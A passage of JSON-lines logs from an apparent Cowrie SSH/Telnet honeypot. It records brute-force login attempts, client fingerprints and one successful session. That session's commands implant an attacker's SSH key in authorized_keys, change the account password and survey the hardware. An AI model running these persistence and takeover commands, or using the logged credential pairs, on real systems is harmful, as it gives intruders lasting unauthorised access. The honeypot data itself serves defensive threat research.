-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:00:39.245582Z","src_ip":"102.211.152.138","session":"52754785c091","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12344321","message":"login attempt [user/12344321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:00:39.688117Z","src_ip":"102.211.152.138","session":"52754785c091","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:00:40.795926Z","src_ip":"102.211.152.138","session":"52754785c091","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.232","src_port":32808,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddb3054d1db9","protocol":"ssh","message":"New connection: 190.244.39.232:32808 (10.17.0.5:22) [session: ddb3054d1db9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:00:45.845286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:00:45.853074Z","src_ip":"190.244.39.232","session":"ddb3054d1db9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:00:46.059287Z","src_ip":"190.244.39.232","session":"ddb3054d1db9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"qwerty","message":"login attempt [postgres/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:00:46.867853Z","src_ip":"190.244.39.232","session":"ddb3054d1db9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:00:48.082022Z","src_ip":"190.244.39.232","session":"ddb3054d1db9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":49262,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2ccfb29a82f","protocol":"telnet","message":"New connection: 162.248.7.67:49262 (159.203.135.109:23) [session: e2ccfb29a82f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:00:52.663917Z"}
{"eventid":"cowrie.session.closed","duration":47.11575937271118,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:00:53.665421Z","src_ip":"185.26.126.47","session":"b6718152675d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.91.116.105","src_port":59078,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c4e98c0bcfb","protocol":"ssh","message":"New connection: 185.91.116.105:59078 (159.203.135.109:22) [session: 3c4e98c0bcfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:00:59.842995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:00:59.847956Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:00:59.951019Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@2017","message":"login attempt [admin/admin@2017] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:00.394838Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:00.697593Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:00.702108Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:00.708214Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:00.816020Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:01.063935Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:01.067760Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:01.177380Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:01.181201Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.91.116.105","src_port":59082,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f26e3852840","protocol":"ssh","message":"New connection: 185.91.116.105:59082 (159.203.135.109:22) [session: 4f26e3852840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:01.276331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:01.281078Z","src_ip":"185.91.116.105","session":"4f26e3852840","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:01.383460Z","src_ip":"185.91.116.105","session":"4f26e3852840","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:01.829085Z","src_ip":"185.91.116.105","session":"4f26e3852840","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:02.946351Z","src_ip":"185.91.116.105","session":"4f26e3852840","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.91.116.105","src_port":59088,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbb297f94f18","protocol":"ssh","message":"New connection: 185.91.116.105:59088 (159.203.135.109:22) [session: bbb297f94f18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:03.045203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:03.050587Z","src_ip":"185.91.116.105","session":"bbb297f94f18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:03.153970Z","src_ip":"185.91.116.105","session":"bbb297f94f18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:03.602296Z","src_ip":"185.91.116.105","session":"bbb297f94f18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:04.709129Z","src_ip":"185.91.116.105","session":"bbb297f94f18","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:04.910697Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:04.913734Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:05.022181Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:05.272347Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin@2017\\nF8OxY3EcrUMa\\nF8OxY3EcrUMa\"|passwd|bash","message":"CMD: echo -e \"admin@2017\\nF8OxY3EcrUMa\\nF8OxY3EcrUMa\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:05.276420Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:05.280714Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:05.284359Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e093a207f153c3d220a14ebf415421904329236d0033b4f5b0923ccde4faa359","size":32,"shasum":"e093a207f153c3d220a14ebf415421904329236d0033b4f5b0923ccde4faa359","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/e093a207f153c3d220a14ebf415421904329236d0033b4f5b0923ccde4faa359 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:05.393205Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:05.654839Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin@2017\\nF8OxY3EcrUMa\\nF8OxY3EcrUMa\\n\"|passwd","message":"CMD: echo \"admin@2017\\nF8OxY3EcrUMa\\nF8OxY3EcrUMa\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:05.658952Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/9b706ce518c45359fe15c0dcc5c2400926506373012b78c5c214aa5e423fefcd","size":25,"shasum":"9b706ce518c45359fe15c0dcc5c2400926506373012b78c5c214aa5e423fefcd","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/9b706ce518c45359fe15c0dcc5c2400926506373012b78c5c214aa5e423fefcd after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:05.769777Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:06.066414Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:06.070345Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:06.182555Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:06.449502Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:06.453591Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:06.562327Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:06.822106Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:06.826015Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
